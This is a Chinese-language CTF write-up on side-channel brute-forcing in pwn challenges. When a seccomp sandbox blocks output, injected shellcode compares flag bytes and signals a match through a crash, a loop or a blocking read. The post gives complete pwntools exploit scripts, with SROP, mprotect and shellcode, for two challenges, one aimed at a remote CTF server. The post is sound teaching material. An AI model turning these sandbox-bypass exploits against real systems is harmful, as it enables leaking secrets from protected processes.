S测信道爆破

S测信道爆破

0X10

   侧信道攻击(又称边信道攻击、旁路攻击side-channel attack),攻击者通过测量功耗、辐射排放以及进行某些数据处理的时间,借助这些信息倒推处理过程,以获得加密秘钥或敏感数据。

简单地说就是不直接去爆破密码本身,而是通过密码错误时系统的反馈,例如系统判断密码错误所用的时间与判断密码正确所用时间不相等,诸如此类信息经过逻辑推断来间接地得到密码。

0x20

此方法在pwn方向以shellcode绕过沙箱进行解题时存在应用场景。

前提

  • 需要知道flag的格式即能合理选择爆破字典。
  • 需要能使用自定义shellcode控制执行流。

orw缺w

   在这种情况下可以打开flag文件,并且把flag读取到一段内存区域中,但是无法泄露出flag

   应对方法是对flag进行逐字节爆破。

   写shellcode: 传入一个可能的字符,让其与被读取到内存中的flag进行比对,并且采取一种判定方法进行识别。

常用判定方法:

常见思路有死循环、捕获错误、异常分支等,下面是两种具体方法。

method_1、

   如果比对成功则让程序调用一个被沙箱禁用的系统调用函数使程序崩溃立即异常终止,如果比对失败则让程序陷入死循环即不会发生错误正常运行。
   在try语句使用p.recv(timeout=1)except语句去捕获EOF错误,如果捕获到了则说明比对成功程序异常终止了使得p.recv(timeout=1)未能等待1秒就出现异常才触发了EOF错误,就记录下当前字符;否则即为比对失败,程序陷入死循环未退出使得p.recv(timeout=1)等待了1秒并正常关闭未触发EOF错误,则直接关闭管道符。注意p.recv(timeout=1)前使用p.clean()清理一下缓冲区避免受到残留数据干扰。

(这里timeout可以比1秒更小或更大,看实际情况而定,timeout大于T即可。T为从执行shellcode到异常终止的这段时间。如果打远程存在网络延迟则T值应当增大。)

method_2、

   如果比对成功则让程序调用一个系统调用函数read发生阻塞,如果比对失败则让程序调用exit系统调用函数立即退出。
   在EXP中写下一个p.recv(timeout=1)的语句,并在该语句前后用time()计算出该语句执行的时间t,如果t值较大则说明字符比对成功且调用了read使程序阻塞,就记录下该字符,并关闭管道符;如果t值极小,则说明字符比对失败程序立即退出,就直接关闭管道符。

  以上两种方法大同小异,知晓原理即可。

0x30

安洵杯side_channel

method_1、

如图,此题设置了白名单,可以使用ormprotect等关键函数。

image-20231227145414890

这题解题思路就是srop调用mprotect函数更新数据段执行权限,并注入shellcode执行,由于缺少write函数,选择对flag进行逐字节爆破。

image-20231227145546395

image-20231227145609755

如图,当p.recv()接收数据出现异常时会报错EOFError,此错误表示已经读取到文件末尾或者无法再读取。这是之后侧信道爆破的关键。

image-20231227145336419

EXP
from tools import *
context(log_level="info",arch="amd64")

syscall=0x000000000040118a
leave=0x000000000401446
bss=0x000000000404060
magic=0x0000000000401194
frame=SigreturnFrame()
frame.rdi=0x404000
frame.rsi=0x1000
frame.rdx=7
frame.rax=10
frame.rip=0x40118a#syscall
frame.rbp=bss
frame.rsp=bss+0x200
def bao(dis,char):
    shellcode=asm('''
        mov rdi,0x404170
        mov rax,2
        syscall
        mov rdi,rax
        mov rsi,0x404170
        mov rdx,0x100
        mov rax,0
        syscall
        xor rdx,rdx
        xor rcx,rcx
        mov dl, byte ptr [rsi+{}]
        mov cl, {}
        cmp cl,dl
        jz CORRECT
        loop:
        jmp loop
        CORRECT:
        mov al,1
        syscall
'''.format(dis,char))
    return shellcode
flag=""
for i in range(30):
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(38,126):
        p=process("./side")
        try:
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            p.clean()       
            p.recv(timeout=0.3)
            p.close()
        except EOFError :
            flag+=chr(j)
            log.success("The th{} char is {}".format(i,chr(j)))
            p.close()
            break            
log.success("flag =====>> {}".format(flag))

分析shellcode

蓝色框部分为open("./flag");红色框部分为read(fd,&bss,0x100)

绿色框部分:

   此时rsi存储的便是flag的内容,取rsi中的一个字节存储到dl中(将flag的一个字节放到dl),将一个可见字符存储到cl中(将字典中的一个字符放入cl),比较两个字符是否相同,若相同则跳转到CORRECT执行syscall调用write使得程序异常终止(write在沙箱黑名单),否则陷入死循环。

image-20231227150223636

分析try&except
for i in range(30):       #猜测flag长度为为30字节
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(33,127):             #遍历ascii码表的所有可见字符
        p=process("./side")             #启动程序创建管道符
        try:
            #==========================ROP & shellcode——bao(i,j) ===============================
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)    #i为flag[i],j为可见字符的ascii码 
            #===========================与程序进行交互 此处与模板化无关=============================================
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            #============================================================================================
            p.clean()   #清理缓冲区,避免缓冲区残留数据被p.recv()接收从而在语句该抛出EOF时却正常退出干扰判定
            p.recv(timeout=0.3)         #接收数据,设置超时0.3秒。如果该语句正常终止则说明程序此时已经陷入死循环,字符不匹配。timeout的值视情况而定,一般值越大则爆破结果可信度越高。
            p.close()               #在程序陷入死循环时主动关闭管道符
        except EOFError :           #捕获p.recv(timeout=0.3)抛出的EOF异常,有异常说明字符比对成功,则记录该字符。
            flag+=chr(j)
            log.success("The th{} char is {}".format(i,chr(j)))
            p.close()
            break

image-20231227152541392

flag

image-20231227152800105

method_2、

EXP
from tools import *
context(log_level="info",arch="amd64")

syscall=0x000000000040118a
leave=0x000000000401446
bss=0x000000000404060
magic=0x0000000000401194
frame=SigreturnFrame()
frame.rdi=0x404000
frame.rsi=0x1000
frame.rdx=7
frame.rax=10
frame.rip=0x40118a#syscall
frame.rbp=bss
frame.rsp=bss+0x200
def bao(dis,char):
    shellcode=asm('''
        mov rdi,0x404170
        mov rax,2
        syscall
        mov rdi,rax
        mov rsi,0x404170
        mov rdx,0x100
        mov rax,0
        syscall
        xor rdx,rdx
        xor rcx,rcx
        mov dl, byte ptr [rsi+{}]
        mov cl, {}
        cmp cl,dl
        jz CORRECT
        mov rax,1
        syscall
        CORRECT:
        mov rdi,0
        mov rsi,0x404170
        mov rdx,0x1
        xor rax,rax
        syscall
'''.format(dis,char))
    return shellcode

flag=""

for i in range(30):                         #猜测flag长度为为30字节
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(38,127):                #遍历ascii码表的所有可见字符
        p=process("./side")                 #启动程序创建管道符
        try:
            #==========================ROP & shellcode——bao(i,j) ===============================
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)    #i为flag[i],j为可见字符的ascii码 
            #===========================与程序进行交互 此处与模板化无关=============================================
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            #============================================================================================
            t=time.time()
            p.clean(0.5)                     #清理缓冲区,并且等待0.5秒,程序如果此时崩溃则等待失败,因为管道符已经关闭;程序如果阻塞在read会等待0.5秒。
            t=time.time()-t
            print("t========>>>>",t)
        except :           
            pass
        else :
            if t>0.5:                       #判断t值,检查p.clean(0.5)是否等待成功。等待成功则字符匹配,存下字符。
                flag+=chr(j)
                log.success("The th{} char is {}".format(i,chr(j)))
                p.close()  
                break
            else :
                p.close()                   #在程序陷入死循环时主动关闭管道符
            
log.success("flag =====>> {}".format(flag))

分析shellcode

前半部分与method_1一样。

红色方框内:

  先比对cldl是否相同,相同则调用read阻塞程序。不同则异常崩溃。

image-20231227160409101

分析try&except
for i in range(30):                         #猜测flag长度为为30字节
    log.success("flag================================================>>>>{}".format(flag))
    for j in range(38,127):                #遍历ascii码表的所有可见字符
        p=process("./side")                 #启动程序创建管道符
        try:
            #==========================ROP & shellcode——bao(i,j) ===============================
            payload=p64(bss+0x8)+p64(magic)+p64(syscall)+flat(frame)+b"./flag\x00\x00"
            payload=payload.ljust(0x200,b"\x00")+p64(bss)+p64(bss+0x210)+bao(i,j)    #i为flag[i],j为可见字符的ascii码 
            #===========================与程序进行交互 此处与模板化无关=============================================
            p.sendlineafter(b"easyhack",payload)
            payload=b"a"*0x2a+p64(bss)+p64(leave)
            p.sendafter(b"Do u know what is SUID?",payload)
            #============================================================================================
            t=time.time()
            p.clean(0.5)                     #清理缓冲区,并且等待0.5秒,程序如果此时崩溃则等待失败,因为管道符已经关闭;程序如果阻塞在read会等待0.5秒。这里的0.5视情况而定,需要和p.clean(0)区分开
            t=time.time()-t
            print("t========>>>>",t)
        except :           
            pass
        else :
            if t>0.5:                       #判断t值,检查p.clean(0.5)是否等待成功。等待成功则字符匹配,存下字符。
                flag+=chr(j)
                log.success("The th{} char is {}".format(i,chr(j)))
                p.close()  
                break
            else :
                p.close()                   #在程序陷入死循环时主动关闭管道符

image-20231227160837590

如下图,p.clean(0.5)时如果程序异常终止则t值稳定在0.3及以下,如果阻塞在read则大于0.5,由此便可以区分。

image-20231227162238595

flag

image-20231227161811257

[buu]xman_2019_nooocall

这题是考侧信道爆破的裸题,禁了所有系统调用,打开flag并读取,自动执行shellcode。

image-20231227172023230

image-20231227172056586

解题思路就是上述的方法一和方法二。

EXP

from tools import *
context(log_level="info",arch="amd64")

# p,elf,libc=load("shell")
# debug(p,"pie",0xd87)
def bao(dis,char):
    shellcode=asm('''
        add bl, 2
        sal rbx, 32
        mov al, byte ptr [rbx+{}]
        cmp al,{}
        jnz $-2
'''.format(dis,char))
    return shellcode
flag=""
di="flagbcde1234567890-{}"
for i in range(50):
    print("flag>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>",flag)
    if flag[-1:]=="}":
        break
    else:
     for j in range(len(di)):
        p=remote("node4.buuoj.cn",26339)
        #p=process("./shell")
        try:  
            p.sendafter(b'Your Shellcode >>',bao(i,ord(di[j])))
            p.clean()
            t=time.time()
            p.recv(timeout=0.7)
            t=time.time()-t
        except:
            pass
        else:
            if t<0.7:
                flag+=di[j]
                print("th{} char is =========================>>>".format(i),ord(di[j]))
                p.close()
                break
            else : 
                p.close()
print("flag>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>",flag)
p.interactive()

flag如下。

image-20231227224145484

不理解

这题我尝试了两种方法,实践发现打远程时方法一会失效,打本地时方法二会失效。

这个脚本中shellcode的判定是,如果比对成功就程序崩溃,如果比对失败就陷入死循环。

打远程时方法一失效

    这个现象的原因我没有找到,通过多次尝试猜测,打远程时即使p.recv(timeout=1)异常退出未接收到数据也不会出现EOFError。以至于此法失效。

打本地时方法二失效

    这是因为我在把方法二中原本的p.clean(0.5)换成了p.recv(timeout=0.5),在比对成功时,try语句p.recv(timeout=0.5)部分发生EOFError后直接执行了except的部分而t的最终值根本接没有计算,所以失效了。换回p.clean(0.5)后,比对成功则程序崩溃,p.clean(0.5)无法等待0.5秒。比对失败则程序陷入死循环,p.clean(0.5)会等待0.5秒,便可以正常爆破。

这也印证了第一种情况对方法一的猜想----打远程时不会触发EOFError(至于为什么不会触发暂不清楚)。

0x40

总结

解题时最好使用方法二并且使用p.clean()语句。

0x50

参考

Python3 错误和异常 | 菜鸟教程 (runoob.com)

隔空取物之侧信道攻击 - FreeBuf网络安全行业门户

2023 ciscn国赛pwn lojin wp_2023ciscn login-CSDN博客

[BUUCTF] xman_2019_nooocall - LynneHuan - 博客园 (cnblogs.com)

关于侧信道爆破的学习总结 | ZIKH26's Blog

安洵杯side_channel附件

链接:https://pan.baidu.com/s/1-ewCnVWU-n9J9TURDjs-Hw?pwd=1234
提取码:1234

posted @ 2023-12-27 16:32  Sta8r9  阅读(130)  评论(2编辑  收藏  举报